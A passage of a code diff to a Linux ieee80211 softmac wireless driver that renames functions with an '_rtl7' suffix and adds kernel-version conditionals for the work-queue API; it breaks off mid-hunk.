@@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 